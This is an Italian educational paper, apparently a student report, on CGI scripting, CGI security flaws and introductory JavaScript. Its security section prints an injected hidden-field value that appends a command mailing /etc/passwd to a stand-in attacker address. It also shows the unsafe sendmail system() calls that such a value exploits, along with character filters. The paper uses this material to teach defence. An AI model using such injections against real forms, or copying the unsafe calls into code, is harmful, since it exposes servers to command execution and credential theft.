Introduzione
Uno Script CGI è un programma che risiede sul
server (scritto in qualsiasi linguaggio di programmazione) che elabora
l'input dell'utente e opzionalmente crea una risposta tramite un documento
HTML che il server invia al browser.
L'utilità delle schede CGI è quella di
effettuare delle operazioni su Data Base, e anche di semplificare le ricerche
dell'utente raggruppando dinamicamente le informazioni.
Ad esempio, durante la navigazione sarà capitato
a tutti di usare motori di ricerca (come Virgilio, Altavista, Yahoo) ,
o visitare siti Web che richiedono l'inserimento di dati personali per
poi inviarli al server. In tutti questi casi lo Script delegato dal server
elabora le informazioni e invia codice formattato HTML da far visualizzare
al browser, come ad esempio la pagina contenente l'esito della ricerca,
la conferma di successo per il servizio richiesto e altro.
Ci si potrebbe chiedere perché impiegare Script
CGI poiché il server ha la possibilità di creare file di
testo HTML. Sebbene non sia necessario utilizzare un linguaggio per Script
per creare file HTML dinamici, tuttavia, senza di questi un programmatore
sarebbe costretto ogni volta a modificare il programma server. Nel tempo,
queste modifiche porterebbero a programmi server Web estremamente estesi.
Per evitare di modificare il server, gli sviluppatori impiegano l'interfaccia
CGI.
Tramite l'interfaccia CGI, il server può assegnare
il compito di creare dinamicamente documenti Web ad un'applicazione creata
in modo specifico per rispondere a determinate esigenze. Il programma può
essere creato con un linguaggio di programmazione come JavaScript, Perl,
C, C++, VBScript e molti altri.
Quando un browser comunica con un server, il programma
esegue una transizione HTTP costituita da quattro passi, rappresentati
nella figura qui di seguito insieme al posizionamento degli Script CGI:
Come si può vedere gli Script risiedono sul server,
in cui le applicazioni possono comunicare direttamente fra loro.
Questa comunicazione diretta consente ad uno Script CGI
di ricevere i dati dinamicamente e di passare i dati al server.
Quando un browser vuole prelevare dati prodotti da uno
Script, esegue una transizione HTTP. Innanzitutto si connette e invia la
sua richiesta, poi il server richiamerà lo Script, fornendogli tutti
i dati passati dal client e i valori delle variabili d'ambiente. Lo Script,
a sua volta, eseguirà tutta l'elaborazione dei dati e produrrà
l'output richiesto. Dopo che il server ha ricevuto tutto l'output, aggiungerà,
se necessario, ogni informazione di intestazione e invia tutto al browser
e al termine chiuderà la connessione.
1.1 Realizzazione di Script CGI
Un server HTTP passa le informazioni ad uno Script CGI utilizzando gli argomenti della riga di comando e le variabili d'ambiente. Il server assegna un valore alle variabili d'ambiente nel momento in cui esegue uno Script. All'interno di uno Script è possibile trattare il valore di queste variabili come semplici stringhe. È opportuno vedere il significato di alcune variabili.
1.2 Le opzioni della riga di comando CGI
Gli Script accettano l'input dalle variabili di ambiente
e dalla riga di comando. Le opzioni della riga di comando in genere chiedono
allo Script di eseguire una ricerca interattiva. Questo permette di eseguire
una query ISINDEX (che consente appunto di aggiungere ai siti Web le funzionalità
di ricerca interattiva tramite parole chiave, da notare che non tutti i
server supportano tale query).
Il browser invia la riga di comando (l'input) al server,
il quale può determinare se il browser ha richiesto un metodo HTTP
GET e se la stringa di ricerca URL è della forma uuencoded = caratteri.
Nel caso in cui si richiede un metodo GET e la stringa
di ricerca URL non è della forma uuencoded = caratteri, allora si
utilizza l'input dalla riga di comando. Quindi il server, prima di richiamare
lo Script, utilizza il carattere "+" per dividere i parametri, poi li memorizza
in una variabile chiamata argv.
Un'ulteriore decodifica è effettuata con il carattere
"&" usato come separatore tra le singole stringhe. Poi il server suddivide
ulteriormente le stringhe utilizzando il carattere "=" per separare il
nome della variabile (a sinistra del segno di uguaglianza) dal proprio
valore (a destra del segno di uguaglianza). Infine, si tiene conto del
numero di parametri nella variabile interna chiamata argc.
Se il server trova il carattere "=" nella variabile d'ambiente
QUERY_STRING, non invierà allo Script CGI l'input da riga di comando.
Inoltre, se per qualche motivo il programma server non
può inviare allo Script CGI l'array argv, dovrà fornire allo
Script le informazioni non decodificate all'interno della variabile d'ambiente
QUERY_STRING.
1.3 Output CGI diretto verso un browser
Normalmente gli Script producono un output che poi il
server interpreta e invia al browser. Il vantaggio di ciò deriva
dal fatto che così facendo lo Script non è obbligato ad inviare
un'intestazione HTTP completa per ogni richiesta. Altri Script invece,
inviano il loro output direttamente al browser per evitare di sovraccaricare
il server. In altre parole quando ciò avviene il server non interpreterà
l'intestazione dello Script, ma sarà compito dello Script inviare
al browser una risposta HTTP corretta. La distinzione tra i due tipi di
Script è fatta dal protocollo CGI, il quale richiede che gli Script
con output diretto inizino con le lettere nph- (Not to Parse the Header).
1.4 Le intestazioni CGI
L'output prodotto da uno Script CGI inizia con un'intestazione
che è costituita da righe di testo nello stesso formato di un'intestazione
HTTP e conclusa da una riga vuota (contenente solo il codice CR + LF).
Se uno Script CGI produce in output campi che non sono
direttive per il server, questo invia tali campi direttamente al browser
che ha eseguito la richiesta. Esistono tre specifiche CGI che sono delle
direttive per il server: Content-type, Location e Status.
Content-type identifica il tipo e il sottotipo MIME dei dati che lo Script sta inviando al browser. Ad esempio se lo Script produce in output un documento HTML avremo Content-type:text/html.
Location serve per indicare al server che lo Script sta restituendo come output un riferimento ad un documento e non un vero documento. Ad esempio il valore del campo Location può essere un indirizzo URL remoto (es. Location:http://esempio.com/), ed in questo caso il server redirige il browser al sito corrispondente. Se l'argomento del campo Location è un percorso virtuale (il file si trova sullo stesso computer ) il server recupererà il documento inviandolo al browser.
Status contiene il valore di stato HTTP che il server invia al browser. In alcuni casi, in particolare al verificarsi di un errore, questi codici sono inviati direttamente dallo Script al browser Web.
Ecco un esempio che mostra un tipico esempio di output
di uno Script CGI:
Content-type: text/html <! Inserire una riga vuota>
<HTML>
<HEAD>
<TITLE> Questo è un titolo </TITLE>
</HEAD>
<BODY>
Corpo generato dallo Script CGI
</BODY>
</HTML>
La riga vuota tra Content-type ed il tag iniziale <HTML>
è necessaria in quanto se non si dovesse includere il server non
sarebbe in grado di interpretare correttamente il documento.
Ecco il codice C per generare il documento precedente:
//Righe di codice
printf("Content-type: text/html \n");
printf("\n"); //Riga vuota
printf("<HTML> \n");
printf("<HEAD> \n");
printf("<TITLE> Questo è un titolo </TITLE> \n");
printf("</HEAD> \n");
printf("<BODY> \n");
printf("Questo è il corpo generato dallo Script CGI. \n");
printf("</BODY> \n");
printf("</HTML> \n");
//Altro codice
1.5 I linguaggi più utili per la creazione di Script CGI
Quando si creano Script CGI, si ha la possibilità
di impiegare vari linguaggi di programmazione, sempre che tale linguaggio
abbia la possibilità di leggere dal dispositivo in input standard
e scrivere sul dispositivo di output standard.
Oltre ai linguaggi come C, C++, i programmatori impiegano
frequentemente il linguaggio Perl (Pratical Extraction Report Language)
che discuteremo in seguito e altri linguaggi come Visual BASIC, TCL, Fortran,
JavaScript e i comandi delle shell UNIX.
1.6 Il linguaggio Perl
Perl è stato creato da Larry Wall nel 1986, ed
è un linguaggio interpretato particolarmente adatto per applicazioni
che prevedono l'elaborazione del testo.
Perl ha una struttura molto simile al C infatti, a prima
vista, un programma Perl ha l'aspetto di un programma C. Sono presenti
tutti gli operatori e la maggior parte delle strutture di controllo (es.
if, for) anche se sono impiegate in una forma un pò diversa. In
Perl mancano solo i puntatori, le strutture e la definizione di tipi.
Alcune funzionalità più utili sono:
1.6.1 Perl come un front-end per database
Un front-end per database è un programma che consente
l'accesso ad un server di database. Questo programma elabora le richieste
che l'utente effettua nei confronti di un database e genera le query necessarie
per accedere ai dati.
Impiegando il Perl si riescono a creare semplici applicazioni
per database, senza dover impiegare un server per database. Perl, infatti,
è dotato di un metodo interno di mappaggio in un array associativo
verso un file di un database. Ad esempio il codice seguente effettua una
scansione in un file di tutti gli utenti registrati e stampa il cognome:
tie %h,'DB_File','inf_clienti',O_RDWR|O_CREAT,0640;Il risultato è che l'accesso al database da uno Script è semplice quanto l'accesso agli elementi di un array associativo.
while (($cognome,$val)= each %h)
{
($nome,$cognome,$citta,$riservatezza,$passwrd)= split (/#/,$val);
print "Utente Registrato: $cognome \n";
}
1.6.2 Perl come gateway sicuro
Nella programmazione CGI, come in molti altri campi della
programmazione, la sicurezza è un fattore importante. Spesso si
devono proteggere i file e le altre risorse di sistema da utenti poco avveduti
o poco onesti. Questo è particolarmente importante nel caso di server
Web (e anche di altri server come ad esempio il server FTP) connessi ad
Internet, dove opera un gran numero di hacker.
Un modo per difendere un sistema dagli attacchi consiste
nel far passare tutti i dati attraverso un gateway. In questo modo nel
sistema potranno entrare solo i dati che il programma gateway considera
sicuri.
Tradizionalmente, molti server per Internet sono eseguiti
sotto UNIX e sono stati realizzati in C. Anche se il linguaggio C è
estremamente efficiente, un errore nell'uso dei puntatori può portare
ad errori del programma che, a loro volta possono provocare dei problemi
di sicurezza.
Un vantaggio di Perl nella realizzazione di gateway sicuri
è il fatto che le variabili di tipo stringa possono crescere automaticamente,
e che un programma non può scrivere una variabile in modo che provochi
un'alterazione di un'altra variabile.
Esiste anche una particolare versione di Perl chiamata
TAINPERL, che controlla le dipendenze dei dati e impedisce ai comandi di
sistema di passare al server dati provenienti da fonti non fidate. Inoltre
segnala tutti i valori della riga di comando, delle variabili di ambiente
come TAINED (contaminati) e annulla la trasmissione con un errore fatale
nel caso in cui un comando di sistema riceva un valore "contaminato".
2. I Problemi di Sicurezza degli Script CGI
Dopo aver introdotto le basi della creazione degli Script
CGI, è arrivato il momento di considerare alcuni aspetti di sicurezza.
Quando si inviano alla shell (tramite un programma CGI)
i dati forniti dall'utente, gli autori di Script più attenti al
problema della sicurezza si preoccupano di eliminare alcuni meta-caratteri
della shell per evitare che questa possa interpretarli ed eseguire determinati
comandi.
Riportiamo alcune regole da considerare quando si crea
uno Script CGI:
2.1 Lo Script mal realizzato espone a gravi problemi di sicurezza
Nel caso in cui un hacker riesca a violare uno Script CGI, a seconda della natura e della posizione dello Script, l'hacker potrà eseguire le seguenti operazioni:
2.2 Livelli di accesso al server Web
Uno dei più gravi problemi che gli hacker possono
sfruttare quando eseguono un attacco tramite uno Script CGI, riguarda un
sito in cui il server Web è in esecuzione per l'utente root su un
computer server, dando così un accesso illimitato al computer.
Dunque per ovviare a ciò, si deve avviare il server
come utente root in modo che si colleghi alla porta 80 (la porta di connessione
HTTP) , il server dovrebbe richiamare il comando SETUID e cambiare il livello
di privilegio del server Web in " nobody " o in un account simile
dotato di privilegi generici (a seconda del server Web utilizzato, il file
di configurazione del server dovrebbe consentire di specificare l'utente
sotto il quale sarà eseguito il server, normalmente si impiega l'utente
" nobody ", un account generico senza particolari privilegi).Si
potrebbe considerare la possibilità di eseguire il server con un
codice utente e un'identificazione di gruppo specifica per il server Web,
ad esempio WebServerUser e WebServerGroup. Questo evita che
un programma che funzioni come "nobody " possa interferire con i
file di proprietà del server.
Per eseguire gli Script sotto l'identificazione del proprietario
dello Script è utilizzato un programma chiamato CGIWRAP.
Anche se questo programma è in grado di risolvere alcuni problemi
degli Script CGI, aumenta anche l'effetto dei problemi di sicurezza. Infatti
se un hacker riuscisse a eseguire comandi sotto l'identità dell'utente,
riuscirà a ottenere un accesso praticamente illimitato.
2.3 Alcuni esempi dei problemi di sicurezza degli Script CGI
Per rendere sicuri gli Script CGI è opportuno prendere
ogni precauzione per proteggersi contro i dati di input. Gli hacker sono
soliti inviare dati particolari allo Script in modo da sfruttare vari problemi
di sicurezza. Si consideri il seguente esempio:
L'utente Bob vuole che i visitatori possano inviare un
messaggio di posta elettronica da una pagina Web. L'utente ha vari indirizzi
di posta e dunque inserisce nella pagina Web un elemento che specifica
l'indirizzo a cui inviare il messaggio in modo da poter cambiare con facilità
l'indirizzo senza dover modificare lo Script.
<INPUT TYPE="hidden" NAME="bob_address" VALUE=Bob@esempio.com ">
E'possibile osservare che l'utente Bob ha inserito i dati
contenenti l'indirizzo a cui il sistema deve inviare la posta in un file
temporaneo (chiamato input_file) e ha passato l'elemento bob_address in
una variabile.
In Perl Bob legge l'indirizzo di posta elettronica con
la seguente istruzione (eseguendola nel momento in cui il visitatore fa
clic sul link di invio del messaggio)
system("/usr/lib/sendmail -t $bob_address < $input_file");
In C++, Bob leggerebbe l'indirizzo con la seguente istruzione
system("/usr/lib/sendmail -t +bob_address+ "< " +InputFile");
In entrambi i casi, il sistema crea una nuova shell con
una fork. L'utente Bob suppone erroneamente che gli utenti richiameranno
lo Script solo con la sua scheda di posta elettronica in modo che l'indirizzo
di posta derivi sempre dalla variabile.
Sfortunatamente, gli hacker possono copiare la scheda
sulla propria macchina e modificarla, ad esempio :
<INPUT TYPE="hidden" NAME="bob_address" VALUE="Bob@esempio.com;mail
hacker@hacker.com
< /etc/passwd ">
A questo punto l'hacker può inviare alla macchina
di Bob una scheda modificata e ricevere da essa il file delle password.
2.4 Creazione di nuove shell con una fork
In particolare si è visto come un hacher può
utilizzare i comandi di sistema per creare una nuova shell. Per creare
una nuova shell l'utente esegue una fork, in particolare UNIX crea una
shell e uno spazio riservato nel sistema operativo, per ogni utente che
si collega al server. Quando un utente chiede a UNIX di eseguire una fork
della shell, UNIX crea un'altra copia della shell che è eseguita
insieme alla prima.
Questa operazione spesso dà all'hacker la possibilità
di violare il sistema.
Dunque è importante evitare di realizzare Script
che consentono agli utenti di creare una nuova shell.
Sfortunatamente, esistono vari comandi in grado di eseguire
la fork della shell.
In Perl è possibile creare una shell aprendo una
pipe, utilizzando "backticks" o, in alcuni casi richiamando "exec", ad
esempio alcune possibilità sono:
open(OUT,"lprogram $args"); - Apertura di una pipe .
'program $args'; - Backtick (l'apice inverso o accento serve a
racchiudere un comando che verrà eseguito
aprendo un processo figlio dall'interprete Perl.
exec("program","w") - Exec nel programma .E' possibile aprire una shell in Perl anche con l'istruzione "eval" o il modificatore "/e" delle espressioni regolari. In C/C++ anche l'istruzione "popen" può avviare una shell
popen("programma","w");
2.5 Rendere sicuri gli Script CGI
In generale vi sono due soluzioni per rendere sicuri gli
Script CGI che consistono nell'impiegare unicamente dati che non possono
dare problemi all'installazione o controllare i dati dopo la ricezione
per assicurarsi che possono essere utilizzati con sicurezza.
Ad esempio, Bob avrebbe potuto trasmettere il proprio
indirizzo di posta elettronica evitando di impiegare la shell, utilizzando
i seguenti comandi:
open(MAIL,"|/usr/lib/sendmail -t");
print MAIL "To:$recipient\n";
In questo caso il computer non passa più dati
non fidati alla shell ma a sendmail.
Utilizzando quest'ultimo esempio evitiamo i problemi
della shell aggiungendone però al programma sendmail eseguito esternamente.
Poiché il programma è eseguito esternamente
può ricevere i dati di qualsiasi tipo, occorre assicurarsi che l'hacker
non possa ingannare il programma impiegando dati inattesi.
Ad esempio se si usa mail anziché sendmail,
il programma può, in alcune versioni di UNIX, accettare una
sequenza di escape per eseguire dei comandi. Occorre verificare la documentazione
di ogni programma a cui si passano dati non controllati. E' possibile utilizzare
le chiamate Perl "system" ed "exec" senza richiamare la shell
specificando nella chiamata più di un argomento:
system('/usr/games/fortune','-o');
Inoltre si può ottenere un effetto simile alla
"popen" utilizzando "open" ma in questo modo non verrà
richiamata la shell:
open(FH,'|-') || exec("program",$arg1,$arg2);
Alternativamente, per evitare alcuni attacchi degli
hacker è possibile utilizzare codice simile al seguente che non
accetta informazioni contenenti dati non sicuri, specificando cosa è
proibito:
Riportiamo qui di seguito un'istanza del codice Perl:
#!/usr/local/bin/perl
$user_data = $ENV{'QUERY_STRING'}; # accetta i dati da QUERY_STRING
print "$user_data\n";
$user_data =~ s/[\/ ;\[\]\<\>&\t]/_/g; # sostituisce i caratteri pericolosi con "_". SCONSIGLIATO!
print "$user_data\n";
exit(0);
In C:
Tuttavia questo approccio è sconsigliato poichè così facendo il programmatore è costretto a predire tutti i possibili input, in questo modo c'è la possibilità che lo Script possa essere usato non nella maniera intesa dal programmatore.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>int main(int argc, char *argv[], char **envp)
{
static char bad_chars[] = "/ ;[]<>&\t"; /* caratteri pericolosi*/char * user_data; /* puntatore alla QUERY_STRING */
char * cp; /* puntatore che scandisce l'input *//* ricezione input */
user_data = getenv("QUERY_STRING");
printf("%s\n", user_data);/* sostituzione dei caratteri pericolosi con "_". SCONSIGLIATO! */
for (cp = user_data; *(cp += strcspn(cp, bad_chars)); /* */)
*cp = '_';
printf("%s\n", user_data);
exit(0);
}
Esempio di codice in Perl:
#!/usr/local/bin/perlEsempio di codice in C:
$_ = $user_data = $ENV{'QUERY_STRING'}; # accetta i dati da QUERY_STRING
print "$user_data\n";
$OK_CHARS='-a-zA-Z0-9_.@'; # una lista restrittiva dei dati leciti
s/[^$OK_CHARS]/_/go; # sostiuisce i caratteri non leciti con "_"
$user_data = $_;
print "$user_data\n";
exit(0);
#include <stdio.h>
#include <string.h>
#include <stdlib.h>int main(int argc, char *argv[], char **envp)
{
static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\ /* lista dei caratteri leciti */
ABCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_-.@";char * user_data; /* puntatore alla QUERY_STRING */
char * cp; /* puntatore che scandisce l'input */user_data = getenv("QUERY_STRING");
printf("%s\n", user_data);
for (cp = user_data; *(cp += strspn(cp, ok_chars)); /* */)
*cp = '_'; /* sostiuisce i caratteri non leciti con _ */
printf("%s\n", user_data);
exit(0);
}
In questa maniera il programmatore sostituisce tutti
i caratteri che non ha specificato e che ritiene quindi non sicuri con
"_", quindi sarà certo di qualunque sequenza restituita. Se si desiderano
maggiori chiarimenti consultare l'URL http://www.cert.org/tech_tips/cgi_metacharacters.html
[2].
2.6 Regole generali relative agli Script Perl
Quando si realizzano Script per le pagine Web in Perl è opportuno tenere in considerazione alcune regole fondamentali.
2.7 Gli avvertimenti di vulnerabilità del CERT
Gli Script CGI possono provocare danni sia al server che
al browser. A causa delle attività relative alla vulnerabilità
dello Script nph-test.cgi, lo staff del centro di coordinamento
del CERT raccomanda di controllare la directory cgi-bin.
Un punto debole dello Script nph.test.cgi incluso
in alcuni daemon HTTP consente a un client Web di leggere un elenco di
file che l'utente non sarebbe autorizzato a leggere. Questo particolare
Script ha lo scopo di visualizzare informazioni riguardanti l'ambiente
del server Web ma analizza le richieste con troppa superficialità
pertanto consente a chiunque di visualizzare un elenco di file contenuti
nel server Web. E in questo senso un hacker potrebbe sfruttare questo Script,
pertanto il team CERT consiglia di rimuovere tale Script dal sistema.
È necessario sottolineare che per avere accesso
a questo Script, e quindi alla lista di file, non è necessario avere
accesso a un account del sistema.
2.8 La soluzione al punto debole degli Script CGI
La soluzione più immediata è la rimozione
di nph-test.cgi dal sistema, o in alternativa rimuovere il suo permesso
di esecuzione. Il daemon HTTPD può essere eseguito anche
senza tale Script. Occorre considerare che un server Web può impiegare
più directory cgi-bin e dunque non basta controllare una sola directory.
Ad esempio, nel server HTTPD NCSA, è possibile specificare
directory alternative per gli Script utilizzando la direttiva ScriptAlias
nel file srm.conf, sempre che l'impiego di tale direttiva sia prevista.
Ed in questo caso è necessario rimuovere nph-test.cgi oppure
applicare ad ogni directory cgi-bin la soluzione descritta nel prossimo
paragrafo.
Se si deve continuare ad utilizzare lo Script nph-test.cgi,
occorre ricercare le righe di codice che visualizzano le variabili e assicurarsi
che siano quotate. Ad esempio, si deve trasformare la riga seguente:
echo QUERY_STRING = $QUERY_STRING ' VECCHIO
nel modo seguente:
echo QUERY_STRING = "$QUERY_STRING." ' NUOVO
Quando si lavora con gli Script CGI, è opportuno
consultare regolarmente il sito http://www.cert.gov/
per conoscere il più rapidamente possibile i punti deboli che possono
essere sfruttati dagli hacker.
3. Il linguaggio JavaScript
Uno dei linguaggi più usati per la realizzazione
degli Script è JavaScript sviluppato dalla Sun Microsystems e Netscape
come evoluzione del linguaggio LiveScript, creato dalla Netscape. Consente
la realizzazione dei siti Web animati contenenti grafica, finestre di dialogo
e altro ancora. Il vantaggio di tale linguaggio di programmazione, rispetto
a Java e J++, è l'inutilità del compilatore. Infatti per
eseguire uno JavaScript basta un browser.Poiché un programma sì
fatto viene eseguito sul client (ovvero all'interno del browser) e non
sul server, può essere dotato di interazioni in tempo reale.
Per provare JavaScript basta creare un file HTML con
un qualsiasi editor di testo e aggiungervi istruzioni JavaScript, il browser
provvederà alla loro esecuzione.
Qui di seguito è riportato un esempio di file
HTML contenente varie istruzioni JavaScript:
<HTML>
<HEAD><TITLE> JavaScript Demo </TITLE></HEAD>
<BODY >
<SCRIPT LANGUAGE = "JavaScript">
<!-- Hide the JavaScript
document.write("Prova<BR>");
document.write("Titolo<BR>");
document.write("Hello, JavaScript!<BR>");
//Stop hiding the code-->
</SCRIPT></BODY></HTML>Nell'esempio precedente lo Script, delimitato dai tag <SCRIPT> e </SCRIPT>, utilizza la funzione document.write per inviare messaggi al browser e il tag <BR> per produrre una sequenza CR+LF.
3.1 Come utilizzare i commenti HTML per disabilitare la visualizzazione dei comandi JavaScript
I commenti HTML hanno il seguente aspetto:
In un tag <SCRIPT>, i progettisti circondano le istruzioni JavaScript utilizzando un commento HTML,
<!-- Questo è un commento
<!-- Fine del commento -->
<SCRIPT >
<!-- Inizio del commento, non terminare il commento qui
Istruzioni JavaScript
<!-- Fine del commento -- >
</SCRIPT>
Se si esaminano attentamente le istruzioni HTML, si
troverà che il primo commento non termina sulla stessa linea (non
ha i caratteri "--" finali). In un documento HTML è consentito utilizzare
questo formato. Poiché il browser legge le istruzioni come commenti,
i progettisti di pagine WEB inseriscono le istruzioni JavaScript in un
commento HTML in modo che i browser che non supportano il linguaggio JavaScript
possano ignorare tali istruzioni.
3.2 Tag <SCRIPT>
Il tag <SCRIPT> consente di specificare l'indirizzo
URL di uno Script JavaScript oppure di inserire le istruzioni direttamente
nel codice HTML. Ad esempio, la riga seguente descrive l'indirizzo URL
di un documento JavaScript:
<SCRIPT LANGUAGE="JavaScript" SRC="http:\www.esempio.com\unoscript.js"> </SCRIPT>In questo modo il tag <SCRIPT> consente di specificare direttamente le istruzioni JavaScript:
<SCRIPT LANGUAGE="JavaScript">
<!-- Nasconde il codice JavaScript
document.write("Hello, JavaScript<BR>");
// Smette di nascondere il codice --
</SCRIPT></BODY></HTML>
3.3 Le stringhe in JavaScript
Una stringa di caratteri può contenere zero o più
caratteri ASCII. In uno Script JavaScript è possibile racchiudere
le stringhe fra simboli o doppi apici. Ad esempio, le due stringhe seguenti
sono identiche:
Unastringa = 'Hello, World';
Altrastringa = "Hello, World";Per unire due stringhe si può usare l'operatore " + " :
Messaggio = 'Hello' + "World";In una stringa di caratteri JavaScript è possibile includere sequenze di escape come ad esempio i caratteri "\n" (fine riga), "\t" (tabulazione), "\f" (Form Feed) e così via. Alcune implementazioni di JavaScript consentono anche di utilizzare stringhe di caratteri per accedere al disco fisso durante la navigazione nel Web.
3.4 Come produrre un semplice output con
uno Script JavaScript
In un documento HTML è possibile utilizzare insieme elementi visualizzati dal linguaggio HTML ed elementi visualizzati da JavaScript. Per visualizzare l'output con JavaScript, il documento deve utilizzare il metodo write dell'oggetto del documento, come nel seguente esempio:
Se si prova a visualizzare queste istruzioni con Netscape Navigator, si ottiene un risultato simile a quello rappresentato di seguito:
<HTML>
<HEAD><TITLE>SimpleOut</TITLE></HEAD>
<BODY>
This is the HTML text
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide the JavaScript
document.write("...Followed by JavaScript Text<BR>");
// Stop hiding the code -->
</SCRIPT>
and this is final text
</BODY></HTML>
In JavaScript, l'oggetto document corrisponde al documento HTML corrente. Se uno Script visualizza l'output impiegando il metodo document.write, il browser visualizzerà l'output nel documento corrente.
"This is HTML text ...Followed by JavaScript Text
and this is final text"
3.5 Creazione di semplici finestre di messaggi
Utilizzando i metodi write e writeln dell'oggetto
JavaScript document, uno Script può produrre in output del testo
nel documento HTML. A seconda delle esigenze dello Script, possono esservi
situazioni in cui si vuole visualizzare del testo all'interno di una finestra
di dialogo. In questo caso si deve utilizzare la funzione alert. Il
seguente codice impiega la funzione alert per visualizzare in una
finestra di dialogo il messaggio "Hello, JavaScript" e si può
vedere il risultato alla pagina Alert.htm
<HTML>
<HEAD><TITLE>JSUseTags</TITLE></HEAD>
<BODY>
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide the JavaScript
alert("\nHello, JavaScript");
//Stop hiding the code -->
</SCRIPT>
</BODY></HTML>
Le finestre dei messaggi sono soggette a degli attacchi
degli hacker, i quali possono utilizzarle per attacchi a interruzione del
servizio ma anche, ad esempio, per simulare una finestra di dialogo di
salvataggio.
3.6 Le variabili JavaScript
Nelle istruzioni JavaScript, lo Script conserva le informazioni
all'interno di variabili. A differenza di altri linguaggi di programmazione
come C o C++, nei quali si deve specificare il tipo della variabile (int,
float, char e così via) nel caso di JavaScript non si deve specificare
il tipo delle variabili. Sarà il browser a determinare il tipo della
variabile sulla base del suo uso. I nomi di variabili JavaScript devono
iniziare con una lettera o con il carattere di sottolineatura "_". Inoltre
JavaScript distingue fra lettere maiuscole e minuscole. Per dichiarare
una variabile in uno Script si deve specificare il nome della variabile
seguita dalla parola riservata var. Ad esempio le seguenti istruzioni
dichiarano alcune variabili:
var TitoloTesina,NumeroCapitolo;Durante la dichiarazione di una variabile è possibile utilizzare l'operatore di assegnamento "=" per inizializzare le variabili :
var Corso;
var x,y,z;
var TitoloTesina="Script Ostili",NumeroCapitolo="3";
var Corso="Sicurezza su reti ";
var x=1,y=2,z=3;Come si vedrà, JavaScript consente anche di definire oggetti. Per aiutare a manipolare le stringhe di caratteri in uno Script, JavaScript fornisce l'oggetto String.
3.7 Come leggere l'input dell'utente
Gli Script CGI possono essere usati anche per creare schede
di input che richiedono informazioni all'utente. A seconda delle esigenze
dello Script, possono esservi casi in cui si richiede una semplice riga
di testo. In questi casi lo Script può visualizzare una finestra
di dialogo che richiede un input all'utente e quindi restituisce il testo
immesso.
Il seguente esempio illustra l'uso della funzione prompt
:
<HTML>
<HEAD><TITLE>Prompt</TITLE></HEAD>
<BODY>
<SCRIPT LANGUAGE="JavaScript">
<!-- Nasconde il codice JavaScript
var nome,anni;
nome =prompt("Immettere il nome:","");Se si visualizza il file HTML prompt.htm che contiene questo codice, verrà visualizzata una finestra di dialogo per ogni chiamata alla funzione prompt. Il secondo parametro della funzione prompt specifica il valore predefinito. A differenza degli Script CGI , i rischi legati alle schede JavaScript sono inferiori per il server e superiori per l'utente. Ad esempio, si supponga che una scheda JavaScript richieda il nome dell'utente ed altre informazioni di supporto. L'utente completa i campi visibili della scheda e fa clic sul pulsante di invio. Tuttavia, la pagina dell'hacker ha nel frattempo ottenuto alcune informazioni relative al computer dell'utente e ha inserito tali informazioni in un campo nascosto. Quando l'utente invia tali informazioni, l'hacker riceverà anche le informazioni "rubate".
anni =prompt("Immettere l'età:","");
document.write("<H3Nome: " +nome+ "</H3>");
document.write("<H3Età: " +anni+ "</H3>");
// Smette di nascondere il codice -->
</SCRIPT></BODY >
</HTML>
3.8 Le funzioni JavaScript
Anche in JavaScript, come in Java e in C++, le funzioni
consentono di suddividere le operazioni più complesse in frammenti
più semplici e gestibili. Così come avviene per le funzioni
Java gli Script possono passare dei parametri alle funzioni e le funzioni
possono restituire un valore al chiamante. La differenza fra le funzioni
Java e JavaScript è nel fatto che nel caso di JavaScript la definizione
della funzione deve essere preceduta dalla parola riservata function
e non si deve specificare né il tipo della funzione né il
tipo dei parametri della funzione, mentre in Java si definiscono delle
classi con rispettivi metodi. Esempio:
function NomeFunzione(Parametro_1,Parametro_2)
{
// Istruzioni
return(risultato);
}
3.9 Gli oggetti in JavaScript
Come il linguaggio di programmazione Java, anche JavaScript
è il linguaggio a oggetti, ovvero JavaScript supporta l'uso di oggetti
che definiscono il valore che può essere contenuto in una variabile
e una serie di operazioni che il programma può eseguire su tale
variabile. Le funzioni basate su classi che operano su un oggetto sono
chiamate metodi. Per comprendere meglio gli oggetti JavaScript, la Tabella
3.1 elenca gli oggetti predefiniti JavaScript:
OGGETTO | SCOPO |
Date | Restituisce la data corrente |
Document | Consente allo Script di scrivere dati su una pagina HTML |
Form | Consente allo Script di raccogliere e visualizzare dati |
History | Consente all'utente di accedere all'elenco cronologico |
Location | Consente allo Script di manipolare l'indirizzo URL corrente |
Math | Definisce varie funzioni e costanti matematiche |
String | Conserva e manipola stringhe di caratteri |
Windows | Consente allo Script di creare finestre e frame |
Tabella 3.1
Oltre ad utilizzare gli oggetti predefiniti di JavaScript è anche possibile creare nuovi oggetti. Per creare un oggetto si deve innanzitutto specificare il nome dei campi che saranno contenuti nell'oggetto. Poi, utilizzando una funzione costruttore (con un nome che corrisponda al nome dell'oggetto), è possibile inizializzare i campi dell'oggetto. Le seguenti istruzioni illustrano la funzione costruttore per un oggetto chiamato "tesina" e costruito da tre campi.
Per assegnare il valore dei parametri ai campi dell'oggetto la funzione utilizza la parola riservata this.
function tesina(titolo,autori,corso)
{
this.titolo = titolo;
this.autori = autori;
this.corso = corso;
}
<script LANGUAGE="JavaScript">L'oggetto "tesina" è molto semplice in quanto definisce solo campi per dati. In altre parole l'oggetto non specifica alcun metodo (funzione) che operi su tali dati. Per assegnare un metodo a un oggetto si definisce il metodo (come una funzione JavaScript) e poi si assegna la funzione al campo corrispondente.
<!-- Hide the JavaScript
function show_tesina()
{
document.write("<H1>Titolo: " + this.titolo + "</H1>");
document.write("<H1>Autori: " + this.autori + "</H1>");
document.write("<H1>Corso: " + this.corso + "</H1>");
}function tesina(titolo, autori, corso)
{
this.titolo = titolo;
this.autori = autori;
this.corso = corso;
this.show_tesina = show_tesina;
}HackerBook = new tesina("Script Ostili","Adorni Roberto e Caparello Luigi", "Sicurezza su reti");
HackerBook.show_tesina();// Stop hiding the code -->
</script>
3.10 Gli eventi JavaScript
In un ambiente Windows o in un browser, capita frequentemente
che i programmi debbano rispondere a degli eventi, la pressione di un tasto
o il movimento del mouse. In Java si impiegano le funzioni keyDown e
keyUp.
In
JavaScript, il gestore degli eventi è uno Script. Gli Script JavaScript
in genere definiscono una funzione che contiene tutto ciò che è
necessario per gestire l'evento.
Inoltre è utile tenere presente che l'HTML è
stato gradualmente modificato e reso in grado di includere anche eventi
JavaScript per incrementare il livello di interazione.
